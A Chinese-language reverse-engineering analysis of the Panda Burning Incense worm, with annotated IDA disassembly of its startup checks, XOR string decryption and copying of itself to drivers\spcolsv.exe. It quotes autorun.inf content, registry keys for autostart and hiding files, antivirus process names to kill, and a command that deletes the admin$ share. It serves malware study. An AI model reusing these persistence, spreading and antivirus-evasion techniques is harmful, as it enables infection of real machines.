zoukankan      html  css  js  c++  java
  • 熊猫烧香病毒逆向分析

    先用PEID分析一下,Delphi写的,没有壳

    静态分析

    用IDA静态分析一下

    字符串

    字符串中有一些和注册表项相关的字符串

    Software\Microsoft\Windows\CurrentVersion\Run相关,应该是用来实现自启动的,和关闭一些杀毒软件自启动的信息

    SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue,这个值为0时不能显示隐藏文件

    Mcshield.exe等等很多的进程,这些都是杀毒软件的名称,应该是关闭杀毒软件

    c:\test.txt,可能会用到这个文件

    desktop.ini,是系统可识别的一个文件,作用是存储用户对文件夹的个性设置(用户更换文件夹图标等等都会生成desktop.ini)

    [AutoRun] OPEN=setup.exe shellexecute=setup.exe shell\Auto\command=setup.exe 、:\autorun.inf和:\setup.exe,系统文件cdvsd.vxd侦测是否有光盘放入光驱,如果有的话就开始寻找光盘目录下 的AutoRun.inf文件,如果存在则执行inf。AutoRun.inf不仅能使光盘自启还能作用与硬盘

    cmd.exe /c net share admin$ /del /y,应该是网络共享相关

    导入函数

    CriticalSection临界区相关函数

    VirtualFree、VirtualAlloc虚拟地址空间页的分配释放

    LocalAlloc、LocalFree从堆中分配释放内存

    CreateThread,创建线程

    CreateFileA、ReadFile、WriteFile创建、读写文件,

    FindNextFileA,遍历文件

    RegSetValueExA、RegOpenKeyExA等注册表函数

    SetTimer等定时器函数

    socket等网络函数

    OpenServiceA等操纵服务等函数

    URLDownloadToFileA从远程下载文件

    大致分析可能存在的功能,管理进程,修改注册表,修改文件,联网、远程下载等

    动态分析

    进程树

    目测只有这一个进程

    进程行为

    也可以使用火绒剑

    应该是新建了spcolsv程序

    但是这里没有出现网络访问的情况,可能有一些触发条件没有达到

    逆向分析

    主函数梳理

    直接IDA反编译,我的IDA在分析字符串的时候有一些问题,Options->String litera style可以更改字符串解码方式,选上c风格,编码方式使用gb2312就可以正确显示出前面几个字符串了

    看主函数

    CODE:0040D0A0                 push    ebp
    CODE:0040D0A1                 mov     ebp, esp
    CODE:0040D0A3                 add     esp, 0FFFFFFE8h
    CODE:0040D0A6                 push    ebx
    CODE:0040D0A7                 xor     eax, eax
    CODE:0040D0A9                 mov     [ebp+var_18], eax
    CODE:0040D0AC                 mov     [ebp+var_14], eax
    CODE:0040D0AF                 mov     eax, offset dword_40CFF0
    CODE:0040D0B4                 call    sub_4049E8
    CODE:0040D0B9                 mov     ebx, offset Msg
    CODE:0040D0BE                 xor     eax, eax
    CODE:0040D0C0                 push    ebp
    CODE:0040D0C1                 push    offset loc_40D1B5
    CODE:0040D0C6                 push    dword ptr fs:[eax]
    CODE:0040D0C9                 mov     fs:[eax], esp
    CODE:0040D0CC                 mov     eax, dword_40D1C4
    CODE:0040D0D2                 mov     ds:dword_40F7E0, eax
    CODE:0040D0D8                 mov     eax, dword_40D1C8
    CODE:0040D0DE                 mov     ds:dword_40F7E4, eax
    CODE:0040D0E4                 mov     ax, word_40D1CC
    CODE:0040D0EB                 mov     ds:word_40F7E8, ax
    CODE:0040D0F2                 mov     eax, offset dword_40F7D4
    CODE:0040D0F7                 mov     edx, offset asc_40D1D8 ; "***武*汉*男*生*感*染*下*载*者***"
    CODE:0040D0FC                 call    sub_403C98
    CODE:0040D101                 mov     eax, offset unk_40F7D8
    CODE:0040D106                 mov     edx, offset aMopery ; "感谢艾玛,mopery,海色の月,对此木马的关注!~"
    CODE:0040D10B                 call    sub_403C98
    CODE:0040D110                 mov     eax, offset unk_40F7DC
    CODE:0040D115                 mov     edx, offset sub_40D238
    CODE:0040D11A                 call    sub_403C98
    CODE:0040D11F                 lea     ecx, [ebp+var_14]
    CODE:0040D122                 mov     edx, offset aXboy ; "xboy"
    CODE:0040D127                 mov     eax, offset asc_40D270 ; ""++戊+缓"叛*聋+肛+删"蚊*苜+兆++*"
    CODE:0040D12C                 call    sub_405360      ; 这里的三个参数
    CODE:0040D131                 mov     edx, [ebp+var_14]
    CODE:0040D134                 mov     eax, ds:dword_40F7D4
    CODE:0040D139                 call    sub_404018
    CODE:0040D13E                 jz      short loc_40D149 ; 这个跳转如果不成功,则程序直接退出了
    CODE:0040D140                 push    0               ; uExitCode
    CODE:0040D142                 call    ExitProcess_0   ; 这里就退出了
    CODE:0040D147 ; ---------------------------------------------------------------------------
    CODE:0040D147                 jmp     short loc_40D19A
    CODE:0040D149 ; ---------------------------------------------------------------------------
    CODE:0040D149
    CODE:0040D149 loc_40D149:                             ; CODE XREF: start+9E↑j
    CODE:0040D149                 lea     ecx, [ebp+var_18]
    CODE:0040D14C                 mov     edx, offset aWhboy_0 ; "whboy"
    CODE:0040D151                 mov     eax, offset aDTqTyldL ; "d}tq;*&tyld|l."
    CODE:0040D156                 call    sub_405360
    CODE:0040D15B                 mov     edx, [ebp+var_18]
    CODE:0040D15E                 mov     eax, offset dword_40D2D8
    CODE:0040D163                 call    sub_404018
    CODE:0040D168                 jz      short loc_40D173
    CODE:0040D16A                 push    0               ; uExitCode
    CODE:0040D16C                 call    ExitProcess_0
    CODE:0040D171 ; ---------------------------------------------------------------------------
    CODE:0040D171                 jmp     short loc_40D19A
    CODE:0040D173 ; ---------------------------------------------------------------------------
    CODE:0040D173
    CODE:0040D173 loc_40D173:                             ; CODE XREF: start+C8↑j
    CODE:0040D173                 call    sub_4082F8    ;主要功能实现函数
    CODE:0040D178                 call    sub_40CFB4
    CODE:0040D17D                 call    sub_40CED4
    CODE:0040D182                 jmp     short loc_40D18A
    CODE:0040D184 ; ---------------------------------------------------------------------------
    CODE:0040D184
    CODE:0040D184 loc_40D184:                             ; CODE XREF: start+F8↓j
    CODE:0040D184                 push    ebx             ; lpMsg
    CODE:0040D185                 call    DispatchMessageA
    CODE:0040D18A
    CODE:0040D18A loc_40D18A:                             ; CODE XREF: start+E2↑j
    CODE:0040D18A                 push    0               ; wMsgFilterMax
    CODE:0040D18C                 push    0               ; wMsgFilterMin
    CODE:0040D18E                 push    0               ; hWnd
    CODE:0040D190                 push    ebx             ; lpMsg
    CODE:0040D191                 call    GetMessageA
    CODE:0040D196                 test    eax, eax
    CODE:0040D198                 jnz     short loc_40D184
    CODE:0040D19A
    CODE:0040D19A loc_40D19A:                             ; CODE XREF: start+A7↑j
    CODE:0040D19A                                         ; start+D1↑j
    CODE:0040D19A                 xor     eax, eax
    CODE:0040D19C                 pop     edx
    CODE:0040D19D                 pop     ecx
    CODE:0040D19E                 pop     ecx
    CODE:0040D19F                 mov     fs:[eax], edx
    CODE:0040D1A2                 push    offset loc_40D1BC
    CODE:0040D1A7
    CODE:0040D1A7 loc_40D1A7:                             ; CODE XREF: start+11A↓j
    CODE:0040D1A7                 lea     eax, [ebp+var_18]
    CODE:0040D1AA                 mov     edx, 2
    CODE:0040D1AF                 call    sub_403C68
    CODE:0040D1B4                 retn

    很容易分析出函数传递参数是使用eax和edx

    首先看sub_403C98的几个调用处,这个函数的参数有两个,第二个是字符串,第一个参数比较有意思,40F7D4、40F7D8和40F7DC,几个连续的位置,且在BSS段中,估计是全局变量。

    停在第一个sub_403C98的调用处,此时eax指向的位置是0,edx指向字符串"***武*汉*男*生*感*染*下*载*者***"

    执行完之后,值变成了009f000c

    继续跟下去,发现此处的值变成了和原edx相同的字符串

    暂时猜测sub_403C98可能是一个内存分配,并复制字符串的函数,观测后面函数的行为也是如此

    接着看 sub_405360函数,sub_4053603个参数,第一个是一个很奇怪中的字符串""++戊+缓"叛*聋+肛+删"蚊*苜+兆++*",第二个参数是字符串"xboy",第三个参数是局部变量var_14,也是没有返回值。看后面有对局部变量var_14值的保存,所以这里的返回值应该是通过局部变量var_14来传递

    同样观测一下这个函数的返回值情况

    函数执行前,局部变量中的值是0,执行完之后变成了009f000c,这个值之前看过,是前面的函数创建的内存

     

    里面的值就是之前的字符串值

    再往下3句

    CODE:0040D131                 mov     edx, [ebp+var_14]    ;指向新建的字符串
    CODE:0040D134                 mov     eax, ds:dword_40F7D4  ;这就是之前的固定字符串值
    CODE:0040D139                 call    sub_404018

    接着是这个函数的返回值处理

    CODE:0040D13E                 jz      short loc_40D149 ; 这个跳转如果不成功,则程序直接退出了
    CODE:0040D140                 push    0               ; uExitCode
    CODE:0040D142                 call    ExitProcess_0   ; 这里就退出了

    猜测sub_404018应该是字符串比较函数,不等于0则直接退出了?如果正确,往下会执行一段和上面非常类似的函数。只不过传递的字符串变化了

    CODE:0040D149 loc_40D149:                             ; CODE XREF: start+9E↑j
    CODE:0040D149                 lea     ecx, [ebp+var_18]
    CODE:0040D14C                 mov     edx, offset aWhboy_0 ; "whboy"
    CODE:0040D151                 mov     eax, offset aDTqTyldL ; "d}tq;*&tyld|l."
    CODE:0040D156                 call    sub_405360
    CODE:0040D15B                 mov     edx, [ebp+var_18]
    CODE:0040D15E                 mov     eax, offset dword_40D2D8
    CODE:0040D163                 call    sub_404018
    CODE:0040D168                 jz      short loc_40D173
    CODE:0040D16A                 push    0               ; uExitCode
    CODE:0040D16C                 call    ExitProcess_0

    连续调用3个函数,这就是病毒的主要函数

    CODE:0040D173                 call    sub_4082F8
    CODE:0040D178                 call    sub_40CFB4
    CODE:0040D17D                 call    sub_40CED4

    接下来就是GetMessageA和DispatchMessage,最后再调用了下面的函数,目测这部分就和程序逻辑没有关系了,属于语言加上的特定功能

    CODE:0040D1A7                 lea     eax, [ebp+var_18]
    CODE:0040D1AA                 mov     edx, 2
    CODE:0040D1AF                 call    sub_403C68

    所以主函数需要关注的地方是sub_4082F8、sub_40CFB4和sub_40CED4这3个函数。另外,sub_405360中关于这两个字符串的处理功能是干什么的也还不太明了。

    sub_405360字符串解密函数分析

    在程序中定义了一些字符串,他们的定义形式都是一个-1(这是用来管理引用的吗),加上字符串长度,最后再加上字符串,这应该是语言对于字符串的底层定义实现。

    回到字符串解析的主函数,代码详细注释如下,最终的解密算法大致是逐次循环取得段字符串中字符,然后除以10的余数和原字符串相异或

    CODE:00405360                 push    ebp
    CODE:00405361                 mov     ebp, esp
    CODE:00405363                 add     esp, 0FFFFFFE8h
    CODE:00405366                 push    ebx
    CODE:00405367                 push    esi
    CODE:00405368                 push    edi
    CODE:00405369                 xor     ebx, ebx
    CODE:0040536B                 mov     [ebp+var_18], ebx ; 清空局部变量
    CODE:0040536E                 mov     [ebp+var_10], ebx
    CODE:00405371                 mov     [ebp+var_14], ebx
    CODE:00405374                 mov     [ebp+return_val], ecx ; 这几个局部变量的值对应函数参数
    CODE:00405377                 mov     [ebp+short_str], edx
    CODE:0040537A                 mov     [ebp+long_str], eax
    CODE:0040537D                 mov     eax, [ebp+long_str]
    CODE:00405380                 call    sub_4040BC      ; 参数个数为1,通过eax传递,为字符串
    CODE:00405380                                         ; 这里使用了lock指令,应该是和同步或是计数相关了
    CODE:00405385                 mov     eax, [ebp+short_str]
    CODE:00405388                 call    sub_4040BC      ; 参数个数为1,通过eax传递,为字符串
    CODE:00405388                                         ; 这里使用了lock指令,应该是和同步或是计数相关了
    CODE:0040538D                 xor     eax, eax
    CODE:0040538F                 push    ebp
    CODE:00405390                 push    offset loc_40544A
    CODE:00405395                 push    dword ptr fs:[eax] ; 下面这两句应该是和seh相关
    CODE:00405398                 mov     fs:[eax], esp
    CODE:0040539B                 cmp     [ebp+long_str], 0
    CODE:0040539F                 jnz     short loc_4053AB ; 字符串不为空,所以这里会跳转
    CODE:004053A1                 mov     eax, [ebp+return_val]
    CODE:004053A4                 call    sub_403C44
    CODE:004053A9                 jmp     short loc_405422
    CODE:004053AB ; ---------------------------------------------------------------------------
    CODE:004053AB
    CODE:004053AB loc_4053AB:                             ; CODE XREF: sub_405360+3F↑j
    CODE:004053AB                 lea     eax, [ebp+var_14]
    CODE:004053AE                 mov     edx, [ebp+short_str]
    CODE:004053B1                 call    sub_403CDC      ; 传入短字符串和一个局部变量的地址,让var_14指向短字符串
    CODE:004053B6                 lea     eax, [ebp+var_10]
    CODE:004053B9                 call    sub_403C44
    CODE:004053BE                 mov     eax, [ebp+long_str]
    CODE:004053C1                 call    str_length      ; 字符串-4的位置存放的是字符串的位置,该函数返回该字符串的长度
    CODE:004053C6                 mov     esi, eax
    CODE:004053C8                 test    esi, esi
    CODE:004053CA                 jle     short loc_405417
    CODE:004053CC                 mov     ebx, 1
    CODE:004053D1
    CODE:004053D1 loc_4053D1:                             ; CODE XREF: sub_405360+B5↓j
    CODE:004053D1                 mov     eax, [ebp+var_14] ; 这是一个循环的开始,var_14应该是循环中使用的变量,esi作为剩余循环次数,ebx作为当前长字串的遍历位置(从0开始)
    CODE:004053D4                 call    str_length      ; 字符串-4的位置存放的是字符串的位置,该函数返回该字符串的长度
    CODE:004053D9                 push    eax             ; 短字符串长度入栈
    CODE:004053DA                 mov     eax, ebx        ; eax等于当前长字符串遍历位置
    CODE:004053DC                 pop     edx             ; edx指向字符串的长度
    CODE:004053DD                 mov     ecx, edx
    CODE:004053DF                 cdq                     ; edx会被清零,eax会被拓展成一个64位的数字
    CODE:004053E0                 idiv    ecx             ; 这里就是使用长字符串的遍历位置去除以短字符串的长度
    CODE:004053E2                 mov     edi, edx
    CODE:004053E4                 inc     edi
    CODE:004053E5                 mov     eax, [ebp+var_14]
    CODE:004053E8                 movzx   eax, byte ptr [eax+edi-1] ; eax取得短字符串中的字符,第一次取得的是第二个字符而不是第一个
    CODE:004053ED                 mov     ecx, 0Ah
    CODE:004053F2                 xor     edx, edx
    CODE:004053F4                 div     ecx             ; 字符串中某个字符除10,下面的代码中没有关商,只管了余数
    CODE:004053F6                 mov     eax, [ebp+long_str]
    CODE:004053F9                 movzx   eax, byte ptr [eax+ebx-1] ; eax取得长字符串中某个字符
    CODE:004053FE                 xor     edx, eax        ; 使用余数和长字符串中的字符进行异或操作
    CODE:00405400                 lea     eax, [ebp+var_18]
    CODE:00405403                 call    sub_403E2C      ; 这个函数将异或结果存放到var_18
    CODE:00405408                 mov     edx, [ebp+var_18]
    CODE:0040540B                 lea     eax, [ebp+var_10]
    CODE:0040540E                 call    sub_403ED4      ; 这个函数将最终结果存放到局部变量var_10中
    CODE:00405413                 inc     ebx
    CODE:00405414                 dec     esi
    CODE:00405415                 jnz     short loc_4053D1 ; 这是一个循环的开始,var_14应该是循环中使用的变量,esi作为剩余循环次数,ebx作为当前长字串的遍历位置(从0开始)
    CODE:00405417
    CODE:00405417 loc_405417:                             ; CODE XREF: sub_405360+6A↑j
    CODE:00405417                 mov     eax, [ebp+return_val]
    CODE:0040541A                 mov     edx, [ebp+var_10]
    CODE:0040541D                 call    sub_403C98      ; 前面的循环中最后一个函数将值放入var_10,这里就是将它作为返回值,返回被解密的字符串

    分析完了解密的字符串,回头再看主函数中解密函数之后的就比较好理解了,解密处字符串,然后和原字符串进行一个比较,如果不正确则直接退出进程

    sub_4082F8主要函数一

    在ollydbg中,观测每个函数的输出输出值,就能大致理顺整个函数的框架

    这个函数的逻辑中,会检查文件的末尾一个字符是不是'0',这个可能是用来标记文件是否被感染的,后面再看,如果是,后面感染文件肯定还会碰到。

    然后剩下的功能就是复制自己到system目录之下,改个名字,再次执行一下,这样就达到了伪装成正常进程的目的。只有程序在system目录下执行的时候才会继续往下执行,否则执行完这个函数就直接退出了。

    将进程停在最后执行WinExec的步骤执行之前,查看这个进程的所有行为

    下面看代码

    CODE:00408300                 push    0
    CODE:00408302                 push    0               ; 一次push是4字节
    CODE:00408304                 dec     ecx             ; 这里相当于分配内存,依次分配8个字节
    CODE:00408305                 jnz     short loc_408300
    CODE:00408307                 push    ecx
    CODE:00408308                 push    ebx
    CODE:00408309                 push    esi
    CODE:0040830A                 push    edi
    CODE:0040830B                 xor     eax, eax
    CODE:0040830D                 push    ebp
    CODE:0040830E                 push    offset loc_4088DD
    CODE:00408313                 push    dword ptr fs:[eax]
    CODE:00408316                 mov     fs:[eax], esp
    CODE:00408319                 lea     edx, [ebp+path]
    CODE:0040831F                 xor     eax, eax
    CODE:00408321                 call    get_path        ; 参数1为0,参数2为局部变量var_3B8,返回值为可执行文件绝对路径的地址
    CODE:00408326                 mov     eax, [ebp+path]
    CODE:0040832C                 lea     edx, [ebp+path_no_exe]
    CODE:00408332                 call    sub_405684      ; 该函数执行完后,var_3B4存放路径字符串的地址,和上面相比,没有可执行文件的名字
    CODE:00408337                 lea     eax, [ebp+path_no_exe]
    CODE:0040833D                 mov     edx, offset aDesktopIni ; "Desktop_.ini"
    CODE:00408342                 call    sub_403ED4      ; 字符串追加,在路径后面增加一个Desktop_.ini
    CODE:00408347                 mov     eax, [ebp+path_no_exe]
    CODE:0040834D                 call    sub_4057A4      ; 这是判断文件是否存在
    CODE:00408352                 test    al, al          ; 这里返回了0
    CODE:00408354                 jz      loc_4083E4      ; 跳转
    CODE:0040835A                 push    80h             ; dwFileAttributes
    CODE:0040835F                 lea     edx, [ebp+var_3C0]
    CODE:00408365                 xor     eax, eax
    CODE:00408367                 call    get_path
    CODE:0040836C                 mov     eax, [ebp+var_3C0]
    CODE:00408372                 lea     edx, [ebp+var_3BC]
    CODE:00408378                 call    sub_405684
    CODE:0040837D                 lea     eax, [ebp+var_3BC]
    CODE:00408383                 mov     edx, offset aDesktopIni ; "Desktop_.ini"
    CODE:00408388                 call    sub_403ED4
    CODE:0040838D                 mov     eax, [ebp+var_3BC]
    CODE:00408393                 call    sub_4040CC
    CODE:00408398                 push    eax             ; lpFileName
    CODE:00408399                 call    SetFileAttributesA
    CODE:0040839E                 push    1               ; dwMilliseconds
    CODE:004083A0                 call    Sleep
    CODE:004083A5                 lea     edx, [ebp+var_3C8]
    CODE:004083AB                 xor     eax, eax
    CODE:004083AD                 call    get_path
    CODE:004083B2                 mov     eax, [ebp+var_3C8]
    CODE:004083B8                 lea     edx, [ebp+var_3C4]
    CODE:004083BE                 call    sub_405684
    CODE:004083C3                 lea     eax, [ebp+var_3C4]
    CODE:004083C9                 mov     edx, offset aDesktopIni ; "Desktop_.ini"
    CODE:004083CE                 call    sub_403ED4
    CODE:004083D3                 mov     eax, [ebp+var_3C4]
    CODE:004083D9                 call    sub_4040CC
    CODE:004083DE                 push    eax             ; lpFileName
    CODE:004083DF                 call    DeleteFileA
    CODE:004083E4
    CODE:004083E4 loc_4083E4:                             ; CODE XREF: sub_4082F8+5C↑j
    CODE:004083E4                 lea     edx, [ebp+ab_path] ; 当前目录不存在Desktop_.ini文件
    CODE:004083EA                 xor     eax, eax
    CODE:004083EC                 call    get_path        ; 然后又有一个局部变量指向了文件绝对路径
    CODE:004083F1                 mov     eax, [ebp+ab_path]
    CODE:004083F7                 lea     edx, [ebp+self_file]
    CODE:004083FA                 call    sub_407760      ; 这里好像是读了整个自己的文件,很大的内存空间,还有头文件的特殊标识
    CODE:004083FF                 lea     eax, [ebp+var_8]
    CODE:00408402                 call    sub_403C44      ; var_8的值好像也没有改变
    CODE:00408407                 mov     eax, [ebp+self_file]
    CODE:0040840A                 call    str_length      ; 字符串-4的位置存放的是字符串的位置,该函数返回该字符串的长度
    CODE:0040840F                 mov     ebx, eax        ; 在之前的函数中,字符串前面4个字节存放的是字符串大小,这里可能是语言的特性,读出的值为f200,也是该内存值前面4字节的数值。
    CODE:0040840F                                         ; 这里应该是返回文件大小,因为文件正好是61952字节
    CODE:00408411                 jmp     short loc_408437 ; 文件长度不为0
    CODE:00408413 ; ---------------------------------------------------------------------------
    CODE:00408413
    CODE:00408413 loc_408413:                             ; CODE XREF: sub_4082F8+14B↓j
    CODE:00408413                 lea     eax, [ebp+var_3D0]
    CODE:00408419                 mov     edx, [ebp+self_file]
    CODE:0040841C                 mov     dl, [edx+ebx-1]
    CODE:00408420                 call    sub_403E2C
    CODE:00408425                 mov     edx, [ebp+var_3D0]
    CODE:0040842B                 lea     eax, [ebp+var_8]
    CODE:0040842E                 mov     ecx, [ebp+var_8]
    CODE:00408431                 call    sub_403F18
    CODE:00408436                 dec     ebx
    CODE:00408437
    CODE:00408437 loc_408437:                             ; CODE XREF: sub_4082F8+119↑j
    CODE:00408437                 test    ebx, ebx        ; 文件长度不为0
    CODE:00408439                 jle     short loc_408445 ; 所以不跳转
    CODE:0040843B                 mov     eax, [ebp+self_file]
    CODE:0040843E                 cmp     byte ptr [eax+ebx-1], 0 ; 这里比较文件的最后一个字节,看是不是0,病毒自身是为0的,所以继续往下走
    CODE:00408443                 jnz     short loc_408413
    CODE:00408445
    CODE:00408445 loc_408445:                             ; CODE XREF: sub_4082F8+141↑j
    CODE:00408445                 cmp     [ebp+var_8], 0  ; 如果可执行文件的末尾一个字节不是0,则会修改这个局部变量,这里直接往下走了
    CODE:00408449                 jnz     loc_4085BA      ; 如果是第二次启动,那么会跳转到这里执行
    CODE:0040844F                 lea     edx, [ebp+another_path]
    CODE:00408455                 xor     eax, eax
    CODE:00408457                 call    get_path        ; 这个还是一个获取路径的函数
    CODE:0040845C                 mov     eax, [ebp+another_path]
    CODE:00408462                 lea     edx, [ebp+up_path]
    CODE:00408468                 call    sub_40532C      ; 将路径转化为大写字母
    CODE:0040846D                 mov     eax, [ebp+up_path]
    CODE:00408473                 push    eax
    CODE:00408474                 lea     eax, [ebp+system32_path]
    CODE:0040847A                 call    sub_4054BC      ; 获取路径"C:WINDOWSsystem32"
    CODE:0040847F                 push    [ebp+system32_path]
    CODE:00408485                 push    offset aDrivers ; "drivers\"
    CODE:0040848A                 push    offset aSpcolsvExe ; "spcolsv.exe"
    CODE:0040848F                 lea     eax, [ebp+total_path]
    CODE:00408495                 mov     edx, 3
    CODE:0040849A                 call    sub_403F8C      ; 将3个路径拼接起来,形成字符串"C:WINDOWSsystem32driversspcolsv.exe"
    CODE:0040849F                 mov     eax, [ebp+total_path]
    CODE:004084A5                 lea     edx, [ebp+up_total_path]
    CODE:004084AB                 call    sub_40532C      ; 完整路径转换成大写字母
    CODE:004084B0                 mov     edx, [ebp+up_total_path]
    CODE:004084B6                 pop     eax             ; eax指向当前文件的大写路径
    CODE:004084B7                 call    sub_404018      ; 返回0xf,应该是字符串判断
    CODE:004084BC                 jz      loc_4085BA      ; 我将可执行文件放在了桌面,所以这里是不跳转
    CODE:004084C2                 mov     eax, offset aSpcolsvExe ; "spcolsv.exe"
    CODE:004084C7                 call    sub_4060D4      ; 以这个进程名做了两次相同的操作,这个函数应该也是没有返回值的
    CODE:004084CC                 mov     eax, offset aSpcolsvExe ; "spcolsv.exe"
    CODE:004084D1                 call    sub_4060D4
    CODE:004084D6                 push    80h
    CODE:004084DB                 lea     eax, [ebp+system32_path2]
    CODE:004084E1                 call    sub_4054BC      ; 再一次获取system路径
    CODE:004084E6                 push    [ebp+system32_path2]
    CODE:004084EC                 push    offset aDrivers ; "drivers\"
    CODE:004084F1                 push    offset aSpcolsvExe ; "spcolsv.exe"
    CODE:004084F6                 lea     eax, [ebp+total_path2]
    CODE:004084FC                 mov     edx, 3
    CODE:00408501                 call    sub_403F8C      ; 和前面一样的拼接函数
    CODE:00408506                 mov     eax, [ebp+total_path2]
    CODE:0040850C                 call    sub_4040CC      ; 传入路径,没有返回值
    CODE:00408511                 push    eax             ; lpFileName
    CODE:00408512                 call    SetFileAttributesA
    CODE:00408517                 push    1               ; dwMilliseconds
    CODE:00408519                 call    Sleep
    CODE:0040851E                 push    0
    CODE:00408520                 lea     eax, [ebp+system32_path3]
    CODE:00408526                 call    sub_4054BC      ; 还是获取system32路径
    CODE:0040852B                 push    [ebp+system32_path3]
    CODE:00408531                 push    offset aDrivers ; "drivers\"
    CODE:00408536                 push    offset aSpcolsvExe ; "spcolsv.exe"
    CODE:0040853B                 lea     eax, [ebp+var_3F0]
    CODE:00408541                 mov     edx, 3
    CODE:00408546                 call    sub_403F8C      ; 再次拼接
    CODE:0040854B                 mov     eax, [ebp+var_3F0]
    CODE:00408551                 call    sub_4040CC
    CODE:00408556                 push    eax             ; lpNewFileName
    CODE:00408557                 lea     edx, [ebp+var_3F8]
    CODE:0040855D                 xor     eax, eax
    CODE:0040855F                 call    get_path
    CODE:00408564                 mov     eax, [ebp+var_3F8]
    CODE:0040856A                 call    sub_4040CC
    CODE:0040856F                 push    eax             ; lpExistingFileName
    CODE:00408570                 call    CopyFileA       ; 将自身文件复制到系统目录下,伪装成drivers/spcolsv.exe
    CODE:00408575                 push    1
    CODE:00408577                 lea     eax, [ebp+var_400]
    CODE:0040857D                 call    sub_4054BC      ; 然后又获取system路径
    CODE:00408582                 push    [ebp+var_400]
    CODE:00408588                 push    offset aDrivers ; "drivers\"
    CODE:0040858D                 push    offset aSpcolsvExe ; "spcolsv.exe"
    CODE:00408592                 lea     eax, [ebp+var_3FC]
    CODE:00408598                 mov     edx, 3
    CODE:0040859D                 call    sub_403F8C      ; 再次拼接
    CODE:004085A2                 mov     eax, [ebp+var_3FC]
    CODE:004085A8                 call    sub_4040CC
    CODE:004085AD                 push    eax             ; lpCmdLine
    CODE:004085AE                 call    WinExec         ; 这里是执行system目录下的可执行文件了,然后自己就退出了
    CODE:004085B3                 push    0               ; uExitCode
    CODE:004085B5                 call    ExitProcess_0
    CODE:004085BA ; ---------------------------------------------------------------------------
    CODE:004085BA
    CODE:004085BA loc_4085BA:                             ; CODE XREF: sub_4082F8+151↑j
    CODE:004085BA                                         ; sub_4082F8+1C4↑j
    CODE:004085BA                 mov     eax, [ebp+var_8] ; 如果是第二次启动,那么会跳转到这里执行
    CODE:004085BD                 call    str_length      ; 这里应该返回0,因为还是自身,var_8没有改变,还是0
    CODE:004085C2                 mov     ecx, eax
    CODE:004085C4                 lea     eax, [ebp+self_file]
    CODE:004085C7                 mov     edx, ebx
    CODE:004085C9                 call    sub_40416C      ; 参数1为文件内容,参数二为文件大小,参数3为0
    CODE:004085CE                 jmp     loc_40889D      ; 这里需要跳转
    CODE:004085D3 ; ---------------------------------------------------------------------------
    CODE:004085D3
    CODE:004085D3 loc_4085D3:                             ; CODE XREF: sub_4082F8+5B4↓j
    CODE:004085D3                 lea     eax, [ebp+var_14]
    CODE:004085D6                 push    eax
    CODE:004085D7                 mov     edx, [ebp+var_8]
    CODE:004085DA                 mov     eax, offset dword_408934
    CODE:004085DF                 call    sub_4041B4
    CODE:004085E4                 mov     ecx, eax
    CODE:004085E6                 dec     ecx
    CODE:004085E7                 mov     edx, 1
    CODE:004085EC                 mov     eax, [ebp+var_8]
    CODE:004085EF                 call    sub_40412C
    CODE:004085F4                 lea     eax, [ebp+var_14]
    CODE:004085F7                 mov     ecx, 5
    CODE:004085FC                 mov     edx, 1
    CODE:00408601                 call    sub_40416C
    CODE:00408606                 lea     eax, [ebp+var_C]
    CODE:00408609                 push    eax
    CODE:0040860A                 mov     edx, [ebp+var_14]
    CODE:0040860D                 mov     eax, offset dword_408940
    CODE:00408612                 call    sub_4041B4
    CODE:00408617                 mov     ecx, eax
    CODE:00408619                 dec     ecx
    CODE:0040861A                 mov     edx, 1
    CODE:0040861F                 mov     eax, [ebp+var_14]
    CODE:00408622                 call    sub_40412C
    CODE:00408627                 mov     edx, [ebp+var_14]
    CODE:0040862A                 mov     eax, offset dword_408940
    CODE:0040862F                 call    sub_4041B4
    CODE:00408634                 mov     ecx, eax
    CODE:00408636                 lea     eax, [ebp+var_14]
    CODE:00408639                 mov     edx, 1
    CODE:0040863E                 call    sub_40416C
    CODE:00408643                 mov     eax, [ebp+var_14]
    CODE:00408646                 call    sub_405870
    CODE:0040864B                 mov     [ebp+var_18], eax
    CODE:0040864E                 xor     eax, eax
    CODE:00408650                 push    ebp
    CODE:00408651                 push    offset loc_4086D6
    CODE:00408656                 push    dword ptr fs:[eax]
    CODE:00408659                 mov     fs:[eax], esp
    CODE:0040865C                 mov     edx, [ebp+var_C]
    CODE:0040865F                 lea     eax, [ebp+var_1E4]
    CODE:00408665                 call    sub_402AD8
    CODE:0040866A                 mov     eax, ds:off_40E2BC
    CODE:0040866F                 mov     byte ptr [eax], 2
    CODE:00408672                 lea     eax, [ebp+var_1E4]
    CODE:00408678                 call    sub_402868
    CODE:0040867D                 call    sub_402614
    CODE:00408682                 lea     eax, [ebp+var_404]
    CODE:00408688                 push    eax
    CODE:00408689                 mov     eax, [ebp+self_file]
    CODE:0040868C                 call    str_length      ; 字符串-4的位置存放的是字符串的位置,该函数返回该字符串的长度
    CODE:00408691                 mov     edx, eax
    CODE:00408693                 sub     edx, [ebp+var_18]
    CODE:00408696                 mov     ecx, [ebp+var_18]
    CODE:00408699                 mov     eax, [ebp+self_file]
    CODE:0040869C                 call    sub_40412C
    CODE:004086A1                 mov     edx, [ebp+var_404]
    CODE:004086A7                 lea     eax, [ebp+var_1E4]
    CODE:004086AD                 call    sub_404260
    CODE:004086B2                 call    sub_402B88
    CODE:004086B7                 call    sub_402614
    CODE:004086BC                 lea     eax, [ebp+var_1E4]
    CODE:004086C2                 call    sub_402C48
    CODE:004086C7                 call    sub_402614
    CODE:004086CC                 xor     eax, eax
    CODE:004086CE                 pop     edx
    CODE:004086CF                 pop     ecx
    CODE:004086D0                 pop     ecx
    CODE:004086D1                 mov     fs:[eax], edx
    CODE:004086D4                 jmp     short loc_4086E0
    CODE:004086D6 ; ---------------------------------------------------------------------------
    CODE:004086D6
    CODE:004086D6 loc_4086D6:                             ; DATA XREF: sub_4082F8+359↑o
    CODE:004086D6                 jmp     sub_403538
    CODE:004086DB ; ---------------------------------------------------------------------------
    CODE:004086DB                 call    sub_4036F0
    CODE:004086E0
    CODE:004086E0 loc_4086E0:                             ; CODE XREF: sub_4082F8+3DC↑j
    CODE:004086E0                 call    sub_407C74
    CODE:004086E5                 mov     eax, offset aSpcolsvExe ; "spcolsv.exe"
    CODE:004086EA                 call    sub_405568
    CODE:004086EF                 test    al, al
    CODE:004086F1                 jnz     loc_408896
    CODE:004086F7                 push    80h
    CODE:004086FC                 lea     eax, [ebp+var_40C]
    CODE:00408702                 call    sub_4054BC
